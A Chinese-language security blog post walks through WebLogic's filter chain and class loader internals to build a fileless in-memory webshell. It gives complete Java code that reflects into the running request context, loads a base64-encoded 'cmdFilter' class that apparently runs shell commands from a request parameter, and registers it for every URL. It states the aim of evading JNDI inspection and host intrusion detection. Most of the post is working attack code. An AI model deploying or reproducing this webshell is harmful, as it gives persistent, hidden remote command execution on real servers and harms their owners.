Java安全之Weblogic内存马

0x00 前言

发现网上大部分大部分weblogic工具都是基于RMI绑定实例回显，但这种方式有个弊端，在Weblogic JNDI树里面能将打入的RMI后门查看得一清二楚。并且这种方式实现上传Webshell落地文件容易被Hids监测。

0x01 调试分析

调试分析

写一个filter进行断点跟踪上层代码。

其实和Tomcat差不多，就是一个Filter链

 public void doFilter(ServletRequest req, ServletResponse rsp) throws IOException, ServletException {

        ServletRequestImpl.getOriginalRequest(req).setAsyncSupported(this.asyncSupportedBits.get(this.index));

        Filter f = this.index < this.filters.size() - 1 ? (Filter)this.filters.get(this.index++) : (Filter)this.filters.get(this.index);

        f.doFilter(req, rsp, this);

    }

而在weblogic.servlet.internal.FilterChainImpl中

private List<Filter> filters = new LinkedList();

存储Filter。在上面的doFilter方法里面遍历调用Filter的doFilter。

再追溯到上层中

weblogic.servlet.internal.WebAppServletContext#wrapRun

try {

                                ServletInvocationContext invocationContext = this.context;

                                invocationContext.initOrRestoreThreadContext(this.req);

                                if (WebAppServletContext.wldfDyeInjectionMethod != null) {

                                    try {

                                        Object[] args = new Object[]{this.req};

                                        WebAppServletContext.wldfDyeInjectionMethod.invoke((Object)null, args);

                                    } catch (Throwable var14) {

                                    }

                                }

                                if (!invocationContext.hasFilters() && !invocationContext.hasRequestListeners()) {

                                    this.stub.execute(this.req, this.rsp);

                                } else {

                                    FilterChainImpl fc = invocationContext.getFilterChain(this.stub, this.req, this.rsp);

                                    if (fc == null) {

                                        this.stub.execute(this.req, this.rsp);

                                    } else {

                                        fc.doFilter(this.req, this.rsp);

                                    }

                                }

FilterChainImpl fc = invocationContext.getFilterChain(this.stub, this.req, this.rsp);

以上方法获取了一个FilterChain，即Filter链。跟踪该方法。

weblogic.servlet.internal.FilterManager#getFilterChain方法

该方法会获取FilterChain。

该类中还有动态注册Filter方法

 void registerFilter(String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers) throws DeploymentException {

        FilterWrapper fw = new FilterWrapper(filterName, filterClassName, initParams, this.context);

        if (this.loadFilter(fw)) {

            EnumSet<DispatcherType> types = FilterManager.FilterInfo.translateDispatcherType(dispatchers, this.context, filterName);

            if (urlPatterns != null) {

                this.addMappingForUrlPatterns(filterName, types, true, urlPatterns);

            }

            if (servletNames != null) {

                this.addMappingForServletNames(filterName, types, true, servletNames);

            }

            this.filters.put(filterName, fw);

        }

    }

将参数传递进行封装到FilterWrapper,这里并没有传递一个class参数进去，传递了filterClassName，然后在下面的this.loadFilter(fw)进行加载。

boolean loadFilter(FilterWrapper filterWrapper) throws DeploymentException {

        Filter filter = filterWrapper.getFilter();

        if (filter == null) {

            String filterClassName = filterWrapper.getFilterClassName();

            try {

                filter = (Filter)this.context.createInstance(filterClassName);

                filterWrapper.setFilter((String)null, (Class)null, filter, false);

            } catch (Exception var5) {

                HTTPLogger.logCouldNotLoadFilter(this.context.getLogContext() + " " + filterClassName, var5);

                throw new DeploymentException(var5);

            }

        }

        Throwable e = this.initFilter(filterWrapper.getFilterName(), filterWrapper.getFilter(), filterWrapper.getInitParameters());

        return e == null;

    }

随即调用this.context.createInstance(filterClassName)进行加载。跟进查看。

weblogic.servlet.internal.WebAppServletContext#createInstance

 Object createInstance(String className) throws ClassNotFoundException, InstantiationException, IllegalAccessException {

        Class<?> clazz = this.classLoader.loadClass(className);

        return this.createInstance(clazz);

    }

使用的是weblogic自己定义的一个classloader,调用自定义的loadclass方法。

protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {

        synchronized(this.getClassLoadingLock(name)) {

            Class res = (Class)this.cachedClasses.get(name);

            if (res != null) {

                return res;

            } else if (!this.childFirst) {

                return super.loadClass(name, resolve);

            } else if (!name.startsWith("java.") && (!name.startsWith("javax.") || name.startsWith("javax.xml") || name.startsWith("javax.wsdl")) && !name.startsWith("weblogic.") && !name.startsWith("com.sun.org.")) {

                Class var10000;

                try {

                    synchronized(this) {

                        Class clazz = this.findClass(name);

                        if (resolve) {

                            this.resolveClass(clazz);

                        }

                        var10000 = clazz;

                    }

                } catch (ClassNotFoundException var10) {

                    return super.loadClass(name, resolve);

                }

                return var10000;

            } else {

                return super.loadClass(name, resolve);

            }

        }

    }

ChangeAwareClassLoader.loadClass方法会从cache中查找是否存在待查找的类，也就是this.cachedClasses这个变量。

再看下来，这个!this.childFirst则是调用父类的loadClass方法，则weblogic.utils.classloaders.GenericClassLoader#loadClass。

再后面就是以java.、javax.、javax.xml、javax.wsdl、weblogic.、com.sun.org.

开头的类名则使用weblogic.utils.classloaders.ChangeAwareClassLoader#findClass查找。

这时候只需将恶意filter添加到cachedClasses中，调用registerFilter接口添加成功

问题思考

我们的这几个request或contenx该怎么拿到
添加内存马的话，反射代码该怎么写。
怎么获取cachedClasses，获取后直接调用put将这个map对象中添加class进去即可。

实现

直接上java-object-searcher工具一把梭哈

List<Keyword> keys = new ArrayList<>();

keys.add(new Keyword.Builder().setField_type("HttpServletRequest").build());

keys.add(new Keyword.Builder().setField_type("ServletRequestImpl").build());

keys.add(new Keyword.Builder().setField_type("ServletResponseImpl").build());

keys.add(new Keyword.Builder().setField_type("Request").build());

//新建一个广度优先搜索Thread.currentThread()的搜索器

SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);

//打开调试模式

searcher.setIs_debug(true);

//挖掘深度为20

searcher.setMax_search_depth(20);

//设置报告保存位置

searcher.setReport_save_path("D:\weblogic_ehco_gadget");

searcher.searchObject();

TargetObject = {weblogic.work.ExecuteThread}

  ---> workEntry = {weblogic.servlet.provider.ContainerSupportProviderImpl$WlsRequestExecutor}

   ---> connectionHandler = {weblogic.servlet.internal.HttpConnectionHandler}

     ---> request = {weblogic.servlet.internal.ServletRequestImpl}

代码如下：

Thread thread = Thread.currentThread();

        try {

            Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");

            workEntry.setAccessible(true);

            Object workentry  = workEntry.get(thread);

            Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");

            connectionHandler.setAccessible(true);

            connectionHandler.get(workentry);

        } catch (NoSuchFieldException e) {

            e.printStackTrace();

        } catch (ClassNotFoundException e) {

            e.printStackTrace();

        } catch (IllegalAccessException e) {

            e.printStackTrace();

        }

获取成功，接下来就是获取context然后将即WebAppServletContext调用registerFilter将恶意Filter进行注册。

Field context = servletRequest.getClass().getDeclaredField("context");

            context.setAccessible(true);

            weblogic.servlet.internal.WebAppServletContext webAppServletContext = (weblogic.servlet.internal.WebAppServletContext)context.get(context);

cachedClasses这个变量在ChangeAwareClassLoader中。前面也提到过在调用weblogic.servlet.internalWebAppServletContext#createInstance 中存储的是ChangeAwareClassLoader，获取该classLoader变量即可。

最终代码：

package com.nice0e3;

import sun.misc.BASE64Decoder;

import weblogic.servlet.internal.FilterManager;

import weblogic.servlet.internal.ServletRequestImpl;

import weblogic.servlet.internal.WebAppServletContext;

import javax.servlet.ServletException;

import javax.servlet.annotation.WebServlet;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import java.io.IOException;

import java.lang.reflect.Field;

import java.lang.reflect.InvocationTargetException;

import java.lang.reflect.Method;

import java.util.Map;

//TargetObject = {weblogic.work.ExecuteThread}

//  ---> workEntry = {weblogic.servlet.provider.ContainerSupportProviderImpl$WlsRequestExecutor}

//   ---> connectionHandler = {weblogic.servlet.internal.HttpConnectionHandler}

//     ---> request = {weblogic.servlet.internal.ServletRequestImpl}

@WebServlet("/demoServlet")

public class demoServlet extends HttpServlet {

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

        response.getWriter().write("test!!!");

        Thread thread = Thread.currentThread();

        try {

            Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");

            workEntry.setAccessible(true);

            Object workentry  = workEntry.get(thread);

            Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");

            connectionHandler.setAccessible(true);

            Object http = connectionHandler.get(workentry);

            Field request1 = http.getClass().getDeclaredField("request");

            request1.setAccessible(true);

            ServletRequestImpl servletRequest = (ServletRequestImpl)request1.get(http);

            servletRequest.getResponse().getWriter().write("Success!!!");

            Field context = servletRequest.getClass().getDeclaredField("context");

            context.setAccessible(true);

            WebAppServletContext webAppServletContext = (WebAppServletContext)context.get(servletRequest);

            String encode_class ="yv66vgAAADQAkgoAHgBJCAA/CwBKAEsIAEwKAE0ATgoACQBPCABQCgAJAFEHAFIIAFMIAFQIAFUIAFYKAFcAWAoAVwBZCgBaAFsHAFwKABEAXQgAXgoAEQBfCgARAGAKABEAYQgAYgsAYwBkCgBlAGYKAGUAZwoAZQBoCwBpAGoHAGsHAGwHAG0BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAC0xjbWRGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAbgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABndyaXRlcgEAEExqYXZhL2lvL1dyaXRlcjsBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFIHADAHAG8HAFwHAHABAAdkZXN0cm95AQAKU291cmNlRmlsZQEADmNtZEZpbHRlci5qYXZhDAAgACEHAHEMAHIAcwEAB29zLm5hbWUHAHQMAHUAcwwAdgB3AQADd2luDAB4AHkBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jAQACc2gBAAItYwcAegwAewB8DAB9AH4HAH8MAIAAgQEAEWphdmEvdXRpbC9TY2FubmVyDAAgAIIBAAJcYQwAgwCEDACFAIYMAIcAdwEAAAcAiAwAiQCKBwCLDACMAI0MAI4AIQwAjwAhBwCQDAAtAJEBAAljbWRGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAOamF2YS9pby9Xcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAB0AHgABAB8AAAAEAAEAIAAhAAEAIgAAAC8AAQABAAAABSq3AAGxAAAAAgAjAAAABgABAAAABQAkAAAADAABAAAABQAlACYAAAABACcAKAACACIAAAA1AAAAAgAAAAGxAAAAAgAjAAAABgABAAAACQAkAAAAFgACAAAAAQAlACYAAAAAAAEAKQAqAAEAKwAAAAQAAQAsAAEALQAuAAIAIgAAAYAABAAKAAAAoisSArkAAwIAOgQZBMYAjQE6BRIEuAAFtgAGEge2AAiZABsGvQAJWQMSClNZBBILU1kFGQRTOgWnABgGvQAJWQMSDFNZBBINU1kFGQRTOgW4AA4ZBbYAD7YAEDoGuwARWRkGtwASEhO2ABQ6BxkHtgAVmQALGQe2ABanAAUSFzoILLkAGAEAOgkZCRkItgAZGQm2ABoZCbYAGy0rLLkAHAMAsQAAAAMAIwAAAD4ADwAAAA0ACgAOAA8ADwASABEAIgASADoAFABPABcAXAAYAGwAGQCAABoAiAAbAI8AHACUAB0AmQAfAKEAIAAkAAAAZgAKABIAhwAvADAABQBcAD0AMQAyAAYAbAAtADMANAAHAIAAGQA1ADYACACIABEANwA4AAkAAACiACUAJgAAAAAAogA5ADoAAQAAAKIAOwA8AAIAAACiAD0APgADAAoAmAA/ADYABABAAAAAHAAF/QA6BwBBBwBCFP0ALAcAQwcAREEHAEH4ABoAKwAAAAYAAgBFACwAAQBGACEAAQAiAAAAKwAAAAEAAAABsQAAAAIAIwAAAAYAAQAAACcAJAAAAAwAAQAAAAEAJQAmAAAAAQBHAAAAAgBI";

            byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);

            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);

            defineClass.setAccessible(true);

            Class filter_class = (Class) defineClass.invoke(webAppServletContext.getClassLoader(), decode_class, 0, decode_class.length);

            Field classLoader = webAppServletContext.getClass().getDeclaredField("classLoader");

            classLoader.setAccessible(true);

            ClassLoader  classLoader1  =(ClassLoader)classLoader.get(webAppServletContext);

            Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");

            cachedClasses.setAccessible(true);

            Object cachedClasses_map = cachedClasses.get(classLoader1);

            Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);

            get.setAccessible(true);

            if (get.invoke(cachedClasses_map, "cmdFilter") == null) {

                Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);

                put.setAccessible(true);

                put.invoke(cachedClasses_map, "cmdFilter", filter_class);

                Field filterManager = webAppServletContext.getClass().getDeclaredField("filterManager");

                filterManager.setAccessible(true);

                Object o = filterManager.get(webAppServletContext);

                Method registerFilter = o.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);

                registerFilter.setAccessible(true);

                registerFilter.invoke(o, "test", "cmdFilter", new String[]{"/*"}, null, null, null);

            }

        } catch (NoSuchFieldException e) {

            e.printStackTrace();

        } catch (ClassNotFoundException e) {

            e.printStackTrace();

        } catch (IllegalAccessException e) {

            e.printStackTrace();

        } catch (NoSuchMethodException e) {

            e.printStackTrace();

        } catch (InvocationTargetException e) {

            e.printStackTrace();

        }

    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

    this.doPost(request, response);

    }

}

把base64加密脚本也贴一出来

 File file = new File("D:\\Java_Demo\\weblogic_an_shell\\out\\production\\weblogic_an_shell\\cmdFilter.class");

                FileInputStream fileInputStream = new FileInputStream(file);

                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

                byte[] bytes = new byte[4096];

                int len;

                while ((len = fileInputStream.read(bytes))!=-1){

                    byteArrayOutputStream.write(bytes,0,len);

                }

        String encode = new BASE64Encoder().encode(byteArrayOutputStream.toByteArray());

        System.out.println(encode.replaceAll("\r|\n",""));

里面还有registerListener方法也可以使用同样的方法实现Listener内存马。

0x02 结尾

介于网上weblogic内存马文章比较少，自己动手实现了一下。大大小小也遇到不少的坑。